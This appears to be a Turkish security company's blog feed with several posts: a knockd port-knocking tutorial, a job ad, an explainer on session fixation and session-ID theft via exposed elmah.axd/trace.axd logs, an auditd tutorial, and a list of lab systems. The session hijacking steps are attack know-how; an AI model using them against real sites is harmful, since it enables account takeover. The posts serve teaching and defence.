-u, --udp UDP paketi yollamak için,varsayılan değer TCP dir.
-v, --verbose Detaylı bilgi için
-V, --version Versiyon öğrenmek için.
-h, --help Bu menu için.
Yapılandırma Dosyası
Programla birlikte gelen varsayılan yapılandırma dosyasının /etc/knockd.conf olduğundan bahsetmiştik, şimdi de bu dosyanın içeriğine bakarak yorumlayalım sonrada çeşitli örneklerle nasıl kullanılacağını anlamaya çalışalım.
# cat /etc/knockd.conf
[options] UseSyslog
[opencloseSSH]
sequence = 2222:udp,3333:tcp,4444:udp
seq_timeout = 15
tcpflags = syn,ack
start_command = /sbin/iptables -A INPUT -s %IP% -p tcp --dport ssh -j
ACCEPT
cmd_timeout = 10
stop_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport ssh -j
ACCEPT
Bu basit öntanımlı yapılandırma dosyası ile knockd’nin loglama mekanizması olarak sistemin kendi log mekanizmasını kullanmasını söylüyoruz, Eğer system log mekanizmasında farklı bir yere loglanmasını istersek bunu logfile = /var/log/knockd.log izinlerini knockdyi çalıştıran kullanıcı olarak ayarlamanız lazım , farklı bir durum gözetmezseniz root kullanıcısı ile çalıştığından dosya erişim izinleri de ona göre ayarlanmış olur.
alt tarafta [opencloseSSH] ile yeni bir kural için tanımlayıcı isim belirleyip seçeneklerini yazıyoruz.
Sequence ile istemcinin port yoklama sırasını belirtiyoruz,
seq_timeout
bu değişkenle istemcinin port yoklama işlemini yaparken iki yoklama arasında max ne kadar sure bekleyebileceğini bildiriyoruz.
start_command
Uygun port yoklaması oluştuktan sonra başlatılacak komut
cmd_timeout
komut sonrası ne kadarlık bir sure bekleneceği
stop_command
cmd_timeout sonrası işletilecek komut
Aşağıdaki örnekte yapılandırma dosyasındaki seçeneklerin değerleri ve ne işe yaradıkları konusunda geniş bilgilendirme bulabilirsiniz.
Örnek;
Sistemin 100, 200 ve 300.portlarına sırası ile SYN paketi gönderilmesi halinde
/tmp dizininde deneme-123 adında bir dosya oluşturmasını isteyelim.
Bunun için /etc/knockd.conf dosyasını herhangi bir editörle açıp dosyanın sonuna
[dosya ac]
sequence = 100,200,300 protocol = tcp
timeout = 15
command = mkdir /tmp/deneme-123 tcpflags = SYN
satırlarını ekleyelim. [dosya ac] satırı ile açıklama belirtiyoruz, bu başlık loglarda görünecek olan başlıktır.
sequence = 100,200,300
ile hangi sıra ile portların yoklanacağını belirtiyoruz
protocol = tcp
protocol tipini belirliyoruz
timeout = 15
zaman aşımını ne kadar olacağını belirliyoruz.
command = mkdir /tmp/deneme-123
yoklamalar sonrası hangi komutun çalıştırılacağını belirliyoruz
tcpflags = SYN
protocol olarak TCP belirledikten sonra hangi TCP bayrağı ile yoklama yapılacağının belirtilmesi
bunları yazdıktan sonra dosyayı kaydedip çıkalım ve istemci tarafındaki knock programcığını aşağıdaki gibi çalıştıralım.
[root@cc root]# knock yubam -v 100 200 300
hitting tcp 194.27.72.88:100 hitting tcp 194.27.72.88:200 hitting tcp 194.27.72.88:300
tekrar /tmp dizinine bakalım.
[root@yubam tmp]# ls
deneme-123 mc-root
gconfd-root orbit-root
GSLhtmlbrowser5493 sess_33c22dbdd8f5fbf788f8ccf9ecbb519a
kde-root sess_4d0f6ce5ca90d758cc126ad992219b85
ksocket-root splint-3.1.1
mapping-root splint-3.1.1.Linux.tgz mcop-root
Örnek;
[options]
logfile = /var/log/knockd.log
[opentelnet]
sequence= 7000,8000,9000
seq_timeout = 10
tcpflags= syn
command = /usr/sbin/iptables -A INPUT -s %IP% -p tcp -- dport 23 -j ACCEPT
[closetelnet]
sequence= 9000,8000,7000
seq_timeout = 10
tcpflags= syn
command = /usr/sbin/iptables -D INPUT -s %IP% -p tcp -- dport 23 -j ACCEPT
bu örnekte yukarıdaki örnekten farklı olarak iki farklı seçenek kullandık biri [opentelnet] diğeri [closetelnet], [opentelnet] ile 7000,8000,9000 portlarına sırası ile gelecek SYN paketleri karşılığında sistemin ne yapacağını , [closetelnet] ile de 9000,8000,7000 portlarına sırası ile gelecek SYN paketi ile sistemin ne yapacağını belirttik, aşikarki [opentelnet] ile sisteme belirli aralıklarda syn paketi yollayan IP ye Firewall dan 23.port için geçiş hakkı tanıdık aynı şekilde [closetelnet]ile de tam tersi bir işlem yaparak o IP ye 23.portu kapadık.Yan. bir önceki örneğe göre işimizi zamana bırakmadık, işimizin bittiğini ve sunucunun telnet portunu kapatmasını elle sağlamış olduk.
Sunucu Yazılımın Çalışma Modları
Sunucuyu debug ve verbose modda çalıştıralım ve aralarındaki farklılıkları görelim.
Şimdide istemci tarafında knock programını çalıştırıp sunucu tarafındaki değişiklikleri inceleyelim, çalışma parametrelerinin ne işe yaradığı yukarıda anlatılmıştı.
Sunucunun Debug Modda Çalıştırılması
Sunucu yazılımını debug modda çalıştırmak için knockd’ye verilen parametrelere ek olarak –D parametresini eklememiz gerekir.Bir önceki oturumu debug modda başlatırsak aşağıdaki gibi bir çıktı alırız.
# knockd -i eth1 -D
config: new section: 'options' config: usesyslog
config: new section: 'opentelnet'
config: opentelnet: sequence: 7000,8000,9000 config: opentelnet: protocol: tcp
config: opentelnet: timeout: 15
config: opentelnet: cmd: /sbin/iptables -A INPUT -s %IP% -p tcp --dport telnet -j ACCE PT
config: tcp flag: SYN
config: new section: 'closetelnet'
config: closeSSH: sequence: 9000,8000,7000 config: closeSSH: protocol: tcp
config: closeSSH: timeout: 15
config: closeSSH: cmd: /sbin/iptables -D INPUT -s %IP% -p tcp --dport telnet -j ACC EPT
config: tcp flag: SYN
config: new section: 'dosya ac'
config: dosya ac: sequence: 100,200,300 config: dosya ac: protocol: tcp
config: dosya ac: timeout: 15
config: dosya ac: cmd: mkdir /tmp/deneme-1-2-3 config: tcp flag: SYN
2004-04-30 23:55:21: tcp: 81.214.131.55:2706 -> 194.27.72.88:22 106 bytes packet is not SYN, ignoring...
packet is not SYN, ignoring... packet is not SYN, ignoring..
Sunucu Yazılımını Verbose Modda Çalıştırmak
knockd yi verbose modda çalıştırdıktan sonra istemcide
# knock yubam -v 100 200 300 hitting
tcp 194.27.72.88:100
hitting tcp 194.27.72.88:200
hitting tcp 194.27.72.88:300
komutunu verdiğimizde aşağıdaki çıktıyı alırız.
# knockd -i eth0 -v
listening on eth0...
194.27.72.80: dosya ac: Stage 1
194.27.72.80: dosya ac: Stage 2
194.27.72.80: dosya ac: Stage 3
194.27.72.80: dosya ac: OPEN SESAME
running command: mkdir /tmp/deneme-1-2-3
mkdir: `/tmp/deneme-1-2-3' dizini oluÅturulamıyor: Dosya var dosya ac: command returned non-zero status code (1)
yukarıdaki hata biraz once o dosyanın oluşturulumuş olduğundan veriliyor,.
knockd’yi sonlandırmak isterseniz aşağıdaki komutları çalıştırmanız yeterlidir.
# ps axu|grep knockd
root 15345 0.0 0.0 1640 460 ? S 23:27 0:00 knockd -i eth0 -d root 15373 0.0 0.1 5132 584 pts/7 S23:34 0:00 grep knockd
# kill 15345
Open menu Share
0 0
05/03/14--09:11: BGA Profesyonel Hizmetler için Bilgi Güvenliği Uzmanı İlanı
BGA olarak gerçekleştirdiğimiz bilgi güvenliği danışmanlık hizmetleri için sevdiği işi yapacak, yaptığı işi sevecek, genç, heyecanlı ve çalışkan takım arkadaşları arıyoruz.
2 farklı konuda 3 takım arkadaşı(Ankara/İstanbul) alınacaktır:
BGA SIR(Security Incident Response) Ekibi için bir kişi
BGA TIGER TEAM (Sızma Testi/APT) Ekibi için iki kişi
Temel Beklentiler:
Ankara'da veya İstanbul'da ikamet eden (bir kişi Ankara, iki kişi İstanbul)
İstanbul arası git-gel yapabilecek arada bir Bakü, KKTC vs gibi lokasyonlara uğramaktan imtina etmeyecek,
Standart dışı düşünebilen, kalıplara takılmayan,
Teknik konularda çalışmayı seven, heyecan duyan,
Herşeyi bilmediğini düşünerek bol bol araştırma yapan, bir bilene soran,
Çok çalışan değil, az zamanda çok iş yapabilen,
İş bitirici, görev bilincine sahip olan,
Araştırıp öğrendiği konuları yazıya dökebilen
Tam zamanlı çalışma arkadaşları arıyoruz. (Yarı zamanlı başvurular bu ilan kapsamında değerlendirilmeyecektir.)
Sızma Testi Uzmanı
Sızma testi konusunda Türkiye'nin en dinamik firmalarından birinde klasik süreç ve prosedürlere takılmadan zevkli işler gerçekleştirmek isteyenlere güzel fırsat. Amatör/profesyonel olarak sızma testleri ile ilgilenmiş, bu konuda bitmek bilmeyen araştırma hevesine sahip herkes başvuru yapabilir.
Sızma testi konusunda başvuru yapacak arkadaşlar için orta/ileri seviye Linux bilgisi aranmaktadır ve kullandıkları araçlar konusunda ezberden öte çalışma mantıklarını anlayacak kadar konuya hakim olmaları beklenmektedir.
Incident Response/Computer Forensic Specialist
BGA olarak müdahele ettiğimiz bilişim güvenliği ihlal olaylarında süreci yönetebilecek kadar derin teknik bilgi ve tecrübeye sahip, analitik düşünce yapısına sahip takım arkadaşı aranmaktadır.
Daha önce ilgili konularda(forensic, IR, IH) çalışmış olma şartı aranmaktadır.
Başvuru:
Yukarda yazılı konularla ilgili olduğunuzu düşünüyorsanız [email protected] adresine CV'nizi iletebilirsiniz.
E-posta gönderirken konu başlığının: REF-BGA-05-14 olmasına ve hangi konu (pentest, sir)için başvuruda bulunduğunuzun mailin gövdesinde yer almasına dikkat ediniz.
Ben profesyonelim, standart iş ilanı olmadan başvurmam diyenler için ek şartlar aşağıda yer almaktadır:
İşin Tanımı :
Lisans eğitimini ilgili bölümlerde tamamlamış,
Takım çalışmasına yatkın,
Dinamik bir yapıda, işini severek yoğun bir tempoda çalışabilecek,
Araştırmacı, sürekli öğrenmeye ve kendini geliştirmeye açık,
Analitik düşünme ve problem çözme yeteneklerine sahip,
İstanbul'da ikamet eden veya edebilecek, gerekli durumlarda Ankara'da çalışabilecek
Erkek adaylar için tercihen askerlikle ilişiği olmayan veya en az 1 yıl tecilli,
Teknik araştırma yapabilecek kadar ingilizce bilen,
NOT:Bu ilan 29 Mayıs 2014 tarihine kadar geçerlidir. Haziran ayının ilk haftası başvurular değerlendirilerek olumlu/olumsuz cevap dönülecektir.
Open menu Share
0 0
05/11/14--03:59: Web Uygulamalarında Hatalı Oturum Yönetimi ve Oturum Sabitleme Zafiyeti
Cookie/session, web uygulamalarında sunucu tarafının, kendisini ziyaret eden kullanıcıları ayırt etmek, yetkilendirmek, mevcut oturumunu belli bir sure tutma, çeşitli bilgileri taşıma veya oturumunu yönetmek gibi sebepler ile geliştirme aşamasında ihtiyaç duyulan web uygulama bileşenleridir. Cookie ve session benzer amaçlar için kullanılan fakat temel bazı farklılıkları olan web uygulama ifadeleridir. Güvenlik açısından genelde tercih edilen session kullanımıdır.
Cookie bilgisi client tarafında tutulduğu için üzerinde hassas veriler (kullanıcı adı,parola,kredi kart numarası vs.) veya manipule edilmesi mümkün değerler taşınmamasına dikkat edilmelidir. Session kullanımında hassas verilerin tutulması veya bazı kontrollerin yapılması sunucu tarafında yapılmaktadır.
Session kullanıldığı durumlarda client tarafına mevcut oturuma karşılık gelen şifreli bir Session ID değeri gönderilmektedir. Bu durumda session kullanımı her ne kadar güvenli olsa da Client tarafına gönderilen SessionID değerinin saldırganlar tarafından ele geçirilmesi ile kullanıcılara ait oturumlar elde edilebilmektedir. Ayrıca Session kullanımında üretilen Session ID değerinin yeterli uzunlukta ve karmaşık karakterlerden oluşmasına dikkat edilmelidir. Aksi halde mevcut session ID politikasına uyumlu değerler üretilerek o an aktif bir kullanıcı oturumu elde edilebilir. Session kullanıldığı durumlarda kullanıcıya gönderilen SessionID değerleride Cookie HTTP başlık bilgisi içerisinde tutularak client-server arasında taşınır.
Sunucu tarafına istek yapan her kullanıcı için dönen http response içerisinde Set-Cookie başlık bilgisi ile bir cookie değeri client tarafına gönderilir ve client browserinda bu bilgi tutulur. Daha sonra
sunucu tarafına yapılan requestlerde bu set edilen Cookie değeri ile gidilir. Uygulama sunucusu tarafı da bu cookie değerine gore ilgili kullanıcıya muamele edecektir. Cookie değerinin geçerlilik süreside yine atanan cookie içerisinde belirtilmektedir.
Aşağıda client tarafının sunucu tarafından cookie bilgisini almasına ait ekran görüntüsü verilmiştir.
MACBOOKPRO:Users:celalerdik:Desktop:Screen Shot 2014-04-22 at 11.24.04.png
Kullanıcılar hedef uygulamlar üzerinde kimlik doğrulama gerçekleştirdikten sonra kendilerine atanan bu Cookie/SessionID değerini kullanarak uygulamaya tekrar tekrar kimlik doğrulama gerektirmeksizin bağlanabilir. Durum böyle olunca kimlik doğrulama gerektirmeden sistemlerde oturum sahibi olmak isteyen saldırganlar çeşitli yöntemler ile bu değerleri ele geçirme yoluna gidebilmektedir.
Cookie/SessionID bilgisi hedef alınarak çeşitli saldırılar gerçekleştirilmektedir. Session hijacking, session fixation, cookie theft, exposed session data , cookie attribute manipulate, sessionid-token randomless açıklığı gibi bir çok açıklık istismar edilerek kullanıcı adına işlemler gerçekleştirebilir. Cookie/SessionID bilgisi her ne kadar sunucu tarafında üretiliyor olsada client tarafında browserda tutulmaktadır. Buda client tarafında kullanıcılara bir script çalıştırılarak elde edilebileceğini göstermektedir. Bu aşamada XSS açıklığı sıklıkla kullanılan bir yöntemdir.
Yine bazı durumlarda saldırganların hiç bir teknik açıklık istismar etmeden doğrudan uygulama geliştiricilerin kullandığı ve kimlik doğrulama olmayan elmah.axd ve trace.axd gibi hata loglama modüllerine erişim sağlayarak ilgili uygulamalarda admin kullanıcılarının sessionID değerlerini kullanarak oturumlarını ele geçirebilmektedir.
Trace.axd loglama modülü üzerinden elde edilen SessionID değeri:
MACBOOKPRO:Users:celalerdik:Desktop:Screen Shot 2014-04-23 at 12.57.52.png
Elmah.axd loglama modülü üzerinden elde edilen SessionID değeri:
MACBOOKPRO:Users:celalerdik:Desktop:Screen Shot 2014-04-23 at 13.00.00.png
Bu değerlerin doğrudan cookie manager benzeri uygulamalar ile browser üzerinde mevcut değerleri ile değiştirilmesi durumunda bu kullanıcılara ait oturumlar ele geçirilmiş olunacaktır. Bu şekilde doğrudan admin paneller veya kullanıcı oturumları elde edilebilir.
Bu yazımızda özellikle değinmek istediğimiz açıklık session fixation açıklığıdır. Client tarafına kimlik doğrulama yapılmadığında gönderilen SessionID bilgisi , kimlik doğrulama yapıktan sonra değiştirilmiyorsa sadece bu SessionID değerine yetkilendirme yapılıyorsa bu durumda session fixation açıklığı söz konusu olmaktadır.Basit bir kaç sosyal mühendislik methodu ile ilgili açıklık istismar edilebilmektedir.
Saldırganlar öncelikle oturumunu çalmak istedikleri kullanıcılara çeşitli sosyal mühendislik yöntemleri kullanarak kendi belirledikleri bir SessionID değeri ile uygulamayı ziyaret etmelerini sağlarlar. Daha sonra kurbanın bu uygulama üzerinde kimlik doğrulama işlemini gerçekleştirmesi durumunda bu sessionID değerini saldırgan bildigi için kendi browserdinda ilgili hedef uygulama için set ederek kurbanın oturumunu ele geçirebilir. Saldırganın kendi browserinda zaten bu sessionID değeri tanımlı olduğundan uygulamayı çağırdığında kurbanın oturumu ile uygulama üzerinde erişim elde edecektir.
Aşağıdaki ekran görüntüsünde session fixation açıklığının nasıl gerçekleştiği daha kolaylıkla anlaşılabilir.
MACBOOKPRO:Users:celalerdik:Desktop:session_fixation.png
Kullanıcı web sunucuya bir bağlantı gerçekleştirmektedir
Sunucu tarafı kendisine yapılan istek karşısında bir session_id değeri ile saldırgana cevap dönmektedir.
Saldırgan, aldığı session_id değerini kullanarak kurbanın sunucuya login olmasını sağlamaktadır. Bu durum çeşitli sosyal mühendislik yöntemleri kullanılarak kurbanın aşağıdaki gibi bir bağlantıyı ziyaret etmesi ile gerçekleştirilmektedir.
Kurban http://www.bank.com/login.php?session_id=xyz bağlantısını ziyaret etmektedir.
Kurban bu bağlantıyı ziyaret ederek hedef web uygulamasına kimlik bilgileri ile giriş yaptığı anda mevzut xyz değerine sahip session_id artık bu kullanıcınının oturumunu ifade eden değer olacaktır.
Saldırgan kendi browserdina http://www.bank.com/ sayfasını çağırdığında artık kurbanın oturumuna erişimiş olacaktır.
İlgili açıklığa maruz kalmamak için cookie/session bileşenleri dikkatli kullanılmalı. Kullanıcılar hangi sessionID ile uygulamaya gelirse gelsin kimlik doğrulama gerçekleştirildikten sonra SessionID değeri uniq başka bir değer ile yenilenmelidir.
Open menu Share
0 0
05/11/14--04:02: Linux Sistemlerde Auditd Kullanarak Detaylı Sistem Denetimi
Sistem yöneticilerinin en çok sorduğu sorulardan biri, dosyalar üzerinde okuma yazma gibi denetimlerin nasıl kontrol edilebileceği,kritik öneme sahip dosyaları kimin değiştirdiği, üzerinde kimlerin işlem yaptığının bilinmesi ve takip edilmesidir.
Bunun cevabı Modern Linux sistemlerle birlikte gelen “auditd daemon” ile çözüme kavuşmuştur.Görevi diske denetim kurallarını yazmaktır.Başlangıç esnasında /etc/audit.rules
içerisinde bulunan kurallar ‘auditd daemon’ tarafınan okunur. /etc/auditd.rules dosyasını açıp üzerindeki denetim kurallarını değiştirmek,log kayıtlarını yönetmek gibi değişiklikler yapılabilir.Kurulum yapıldıktan sonra varsayılan olarak gelen ayarlar başlangıç için yeterli olacaktır.
Denetimi kolaylaştırmak amacıyla servise ait aşağıdaki hizmetlerin bilinmesinde fayda olacaktır.
>> auditctl : Çekirdeğin denetim sistemini kontrol etmek için yardımcı olacak bir komuttur.Bu komut ile kural eklenip silinebilir ya da durum bilgisi alınabilir.
>> ausearch : Olay tabanlı ya da farklı arama kriterlerine göre log tabanlı sorgulama yapmak için kullanılabilir.
>> aureport : Denetim loglarının raporlarını özetlemek için kullanılan bir araçtır.
audit paketinin kurulması
Birçok Linux çekirdeği audit rpm paketni içerir. audit paketini yüklemek için komut satırından ‘yum’ ya da ‘apt-get install’ komutları kullanılabilir.
[root@bga ~]# yum install audit
Loaded plugins: fastestmirror, refresh-packagekit, security
auditd servisini başlangıçta otomatik olarak için aşağıdaki komut kullanılabilir.
[root@bga ~]# ntsysv
Servisi başlatmak için aşağıdaki komut çalıştırılmalıdır.
[root@bga ~]# /etc/init.d/auditd start
Dosyaların izlenebilmesi için servisin ayarlanması
Bunu örnek bir komutla açıklamak gerekirse, /etc/passwd dosyasının denetlenmesi için aşağıdaki gibi örnek bir komut kullanılabilir.
[root@bga ~]# auditctl -w /etc/passwd -p war -k password-file
Bu komut için kullanılan parametrelerin anlamı şu şekildedir.
-w /etc/passwd : İzlenenecek olan dosyanın yolu (path)
-p war : İzlenecek olan dosya için izinleri belirler. ‘w’ yazmak için, ‘a’ ekleme yapmak için, ‘r’ ise okumak içindir.
-k password-file : İzlenecek olan dosya için filtreler(filterkey) ayarlamak için kullanılır.Bu komut için password-file bir filterkey’dir.
Bu komut ile /etc/passwd dosyası üzerindeki okuma,yazma ve ekleme işlemleri izlenebilir.(sistem çağrıları dahil)
Şimdi aşağıdaki komutları sistem üzerinde yetkisiz bir kullanıcı ile çalıştıralım ve biraz bekleyelim.
[root@bga ~]# grep 'root' /etc/passwd
[root@bga ~]# nano /etc/passwd
Dosya Sistemi audit Kuralı
/etc/shadow dosyası üzerindeki okuma,yazma,çalıştırma ve ekleme değişikliklerini kayıt altına almak için ‘shadow-file’ filtresi ile aşağıdaki komut kullanılabilir.
[root@bga ~]# auditctl -w /etc/shadow -k shadow-file -p rwxa
syscall audit kuralı
Aşağıdaki kural syscall çıkışlarının izlenmesini önler.
[root@bga ~]# auditctl -a exit,never -S mount
pid kullanarak syscall audit kuralı
Aşağıdaki komutta olduğu gibi ‘pid’ değerine göre kural yazılabilir.
[root@bga ~]# auditctl -a entry,always -S all -F pid=1005
Peki /etc/passwd dosyasına kimin eriştiğini ya da dosya üzerinde kimin değişikik yaptığı nasıl öğrenilir ?
Bunun için ausearch komutu kullanılır.Örnek kullanım komutları aşağıdaki gibidir.
[root@bga ~]# ausearch -f /etc/passwd
[root@bga ~]# ausearch -f /etc/passwd | less
[root@bga ~]# ausearch -f /etc/passwd -i | less
-f /etc/passwd : Sadece bu dosya üzerinde aramaya yapar.
-i : Metin içindeki sayısal girdileri yorumlar.uid değerini hesap ismine dönüştürür.
Örnek bir çıktı aşağıdaki gibi olacaktır.
type=PATH msg=audit(04/18/2014 23:58:00.631:5249) : item=0 name=/etc/passwd inode=653834 dev=fd:00 mode=file,644 ouid=root ogid=root rdev=00:00 obj=system_u:object_r:etc_t:s0 nametype=NORMAL
type=CWD msg=audit(04/18/2014 23:58:00.631:5249) : cwd=/root
type=SYSCALL msg=audit(04/18/2014 23:58:00.631:5249) : arch=x86_64 syscall=open success=yes exit=4 a0=7fe34326969a a1=80000 a2=1b6 a3=0 items=1 ppid=21315 pid=21324 auid=cihat uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=pts1 ses=775 comm=ausearch exe=/sbin/ausearch subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key=password-file
Peki bu çıktı nasıl yorumlanmalıdır ?
audit(04/18/2014 23:58:00.631:5249): Log kaydının zamanı
uid=root gid=root : Kullanıcı id değerinin sayısal formatıdır. -i parametresi ile sayısal değer hesap ismine dönüştürülebilir.Bu şekilde okunması ve yorumlanması daha kolay olacaktır.
comm=ausearch exe= Dosyaya erişmek için kullanılan komutu gösterir.
Log dosyasından da anlaşılacağı üzere, hangi kullanıcının dosya üzerinde grep ile okuma yaptığı ya da bir metin editörü ile dosya üzerinde yazma işlemi gerçekleştirdiği açıkca görülmektedir.
Bu şekilde kullanmak bir log yığını oluşturacağından komuta ait man sayfası okunarak daha anlaşılır formatta loglar üretilebilir.
Log kayıtlarını incelerken daha spesifik aramalar yapmak mümkündür.Örneğin belirli bi tarihe ait log kaydına bakmak ya da bugünün log kayıtlarını çıkarmak için aşağıdaki gibi komutlar kullanılabilir.
[root@bga ~]# ausearch -ts today -k password-file
[root@bga ~]# ausearch -ts 3/12/07 -k password-file
Bir diğer arama şekli ise -x parametresi ile çalıştırılan komuta göre arama yapmaktır. Örneğin hangi kullanıcının ‘rm’ komutunu kullanarak /etc/passwd dosyasına erişmeye çalıştığını görmek için aşağıdaki gibi bir komut kullanılabilir.
[root@bga ~]# ausearch -ts today -k password-file -x rm
[root@bga ~]# ausearch -ts 3/12/07 -k password-file -x rm
Kullanıcı id değerine göre arama yapmak için ise aşağıdaki gibi bir komut kullanılabilir.
[root@bga ~]# ausearch -ts today -k password-file -x rm -ui 500
[root@bga ~]# ausearch -ts 3/12/07 -k password-file -x rm -ui 500
Bu yazı Linux AKADEMİ blog sayfasından alınmıştır http://www.linuxakademi.com.tr/linux-audit-derinlemesine-sistem-denetimi/
Open menu Share
0 0
05/18/14--03:55: BGA Siber Saldırı & Savunma Simulasyon Laboratuvarı
Tek başına teorik bilginin işe yaramadığı önemli alanlardan birisi Siber Güvenliktir. Siber güvenlikte diğer alanlardan farklı olarak mücadeleyi genellikle sizden daha iyi olan ve meslek olarak varlık sebebiniz olan siber saldırganlara karşı yaparsınız. Siber saldırgan için tüm internet altyapısı lab olarak kullanılabileceği için pratik yapma ve öğrendiklerini uygulama için ek uğraşlara girmesine gerek yoktur. İşin savunma tarafındaki uzmanlar için ise her çıkan güvenlik zafiyetinin istismar edilmesi ve korunma yöntemleri için gerçek uygulama ve sistemleri içeren bir lab ortamına ihtiyaç vardır.
BGA olarak hem gerçekleştirdiğimiz eğitimlerde katılımcılarımızın olabildiğince gerçek hayat senaryoları ile çalışmalarını sağlamak hem de sızma testi ve olay müdahele ekibimizin gerçek sistemler üzerinde pratiğini arttırmak amacıyla Siber saldırı ve savunma lab'i kurma çalışmalarına başladık. İlkini İstanbul'da hayata geçirdiğimiz lab sisteminin ikincisi Ankara ofisimizde bu yıl içerisinde kurulacaktır. Lab sistemleri BGA'dan eğitim alan ve BGA danışmanlık hizmetleri için anlaşmamız bulunan tüm müşterilerimiz için ücretsiz olarak kullanıma hazır olacaktır. Hem uzaktan VPN aracılığıyla hem de BGA Ankara/İstanbul ofisleri hafta sonları dahil önceden randevu almak suretiyle kullanılabilecektir.
Lab kurulumunda ana amacımız her geçen gün yenilenen siber saldırılara karşı bir laboratuvar ve simulasyon ortamı oluşturmaktır. Hazırlanan laboratuvar ortamında internet ortamında çıkmış hemen her siber saldırı yöntemi ve tekniği uygulanabilmektedir.
Sadece ilgili yazılım, donanım ve sistemlerin kurulumunu içermek yerine BGA olarak gerçekleştirdiğimiz sızma testi ve olay analizi çalışmalarını anonim bir şekilde lab ortamına entegre etmekteyiz. Bir banka ya da bir SCADA ortamında bulunabilecek tüm bileşenler lab ortamında yer aldığı için çok kısa sürelerde senaryo oluşturup sanal sistemlerle gerçeğiyle birebir aynı lab ortamını hazır edebilmek amacımız.
Aşağıda örnek bir banka ağına ait lab çizimi gösterilmektedir.
BGA lab kurulumunda edindiğimiz tecrübeyi isteyen kurumlara özel kurulum ve yapılandırma sağlayacak şekilde sunmaktayız. Özellikle kendi sızma testi ekibini ya da siber güvenlik ekibini barındırmak isteyen kurumların bu hizmetten faydalanarak benzeri lab ortamını kurması elzemdir. Konu hakkında detay bilgi ve iletişim icin [email protected] adresine e-posta gönderebilirsiniz.
Lab ortamında kullandığımız bazı sistemler ve bilgileri aşağıda yer almaktadır.
Ağ ve Güvenlik Sistemleri
Cisco 7200 serisi router
Cisco (http://software.cisco.com/download/release.html?mdfid=284364978&flowid=39582&softwareid=282046477&release=3.9.0aS&relind=AVAILABLE&rellifecycle=ED&reltype=latest)
Farklı marka ve modellerde Wifi Access Point
Checkpoint Firewall / IPS 1
Pfsense Firewall
Iptables Firewall
Snort Saldırı Tespit ve Engelleme Sistemi
Suricata IDS/IPS (http://suricata-ids.org/download/)
Palo Alto NGX Firewall / IPS
Fortinet Firewall/IPS
Netscreen IDP
Juniper SRX
Barracuda WAF (https://www.barracuda.com/purchase/evaluation/product/bwfv)
Modsecurity WAF (http://www.modsecurity.org/download/ )
Citrix Netscaler (https://store.citrix.com/store/citrix/en_US/DisplayThreePgCheckoutAddressPaymentInfoPage/ThemeID.28169600 )
F5 Load balancer/WAF modülü (https://www.f5.com/trial/big-ip-ltm-virtual-edition.php)
Microsoft URLScan WAF modülü
FortiWEB
Kfsensor Honeypot
Farklı firmalara ait VOIP sistemleri / soft phone uygulamaları
Asterix (http://www.asterisk.org/downloads/asterisknow)
FreePBX
3CX PBX/PABX
Cuckoo- Malware Analizi amaçlı (http://www.cuckoosandbox.org/download.html)
Remnux
Mobisec (http://sourceforge.net/projects/mobisec/)
Ossec HIDS (ossec-virtual-appliance.tar.gz)
OSSIM (http://downloads.alienvault.com/c/download?version=current_ossim_iso)
Merkezi Log Yönetim Sistemi (Logstash+Kabana+Elasticsearch)
OpenDLP
Packetfence - Open source NAC
Honeydrive - Honeypot
Veritabanı Sistemleri
Mysql Windows(Birden fazla sürüm aynı sistem üzerinde farklı portlarda çalışacak şekilde kurulacak)
Mysql Linux(Birden fazla sürüm aynı sistem üzerinde farklı portlarda çalışacak şekilde kurulacak)
Oracle (Windows)
Oracle ( Linux )
MS Sql Server (2005, 2008...)
Postgresql (Farklı sürümlerde Windows )
Postgresql (Farklı sürümlerde Linux )
Firebird (farklı sürümler Windows ve Linux)
Sybase (windows)
Nosql (Hadoop ve Hbase)
Microsoft İşletim Sistemleri
Active Directory (2008 ve 2012 olacak iki farklı sürüm)
Microsoft Exchange (Farklı versiyonlar)
Windows XP (SP0, SP1, SP2, SP3)
Windows 7 (SP2)
Windows 8
Windows 2000, Windows 2003, Windows 2008, Windows 2012 ( SP li versiyonları ile)
Kurumsal Ortamlarda Kullanılan App. Serverlar
Weblogic
Oracle Application Server
Apache tomcat (http://www.turnkeylinux.org/tomcat)
Apache Axis
Jboss (Windows, Linux)
Sharepoint 2013 (http://technet.microsoft.com/en-us/evalcenter/hh973397.aspx)
Sharepoint 2010 (http://www.microsoft.com/en-us/download/details.aspx?id=16631)
Vulnerable VM Sistemleri
Metasploitable (http://sourceforge.net/projects/metasploitable/)
Metasploitable-II
Holynix V1
Holynix V2
Kiopritx serileri
Lampsecurity ctf serileri
Voipown
vulnvoip (http://vulnhub.com/entry/hacklab_vulnvoip,40/)
Hack2net Level2
UNIX/Linux İşletim Sistemleri(Dağıtımları)
FreeBSD (8.0, 8.2, 9.0)
OpenBSD 4.6
Linux (farklı kernel seviyelerinde 6 farklı dağıtım: Fedora, Redhat ,Debian, Ubuntu, Gentoo, Suse, Selinux)
MacOSX (farklı sürümler)
Android (Mobil Sistemler, farklı versiyonlarda)
Solaris UNIX
Ağ Hizmetleri
DNS Hizmeti (Bind, Windows, NSD)
E-posta servisi (Postfix, Exim, Hmail)
FTP servisi (Filezilla, vsftpd, Microsoft FTP, UNIX Standalone ftp, Anonim ftp)
VPN (SSL, ipsec, pptp, l2tp)
Web Servisi
İstemci Uygulamaları
Java (Farklı sürümlerde 8 adet)
PDF (farklı sürümlerde 4 adet)
Flash(Farklı sürümlerde 3 adet)
Internet Explorer (Farklı sürümlerde 7 adet)
Firefox (farklı sürümlerde 5 adet)
Skype eski sürüm (http://seclists.org/bugtraq/2013/Mar/94 )
Blogging/Content Management Systems
Wordpress (farklı sürümler ve farklı eklentileri barındıracak şekilde)
Joomla (farklı sürümler ve farklı eklentileri barındıracak şekilde)
Drupal (farklı sürümler ve farklı eklentileri barındıracak şekilde)
Exploit-db’de yer alan zafiyet içeren CMS yazılımları (100 adet)
Bilinen 10 AV Programı ve HIPS Yazılımı
McAfee
Symantec
Kaspersky
Bitdefender
Trend Micro
Eset Nod32
Avira
AVG
Microsoft Security Essentials
FortiClient
Main Frame Simulator
Hercule - Main frame simulator
Open menu Share
0 0
05/24/14--06:39: BGA, BGAPRO Ankara Ofisi Yeni Adresine Taşındı
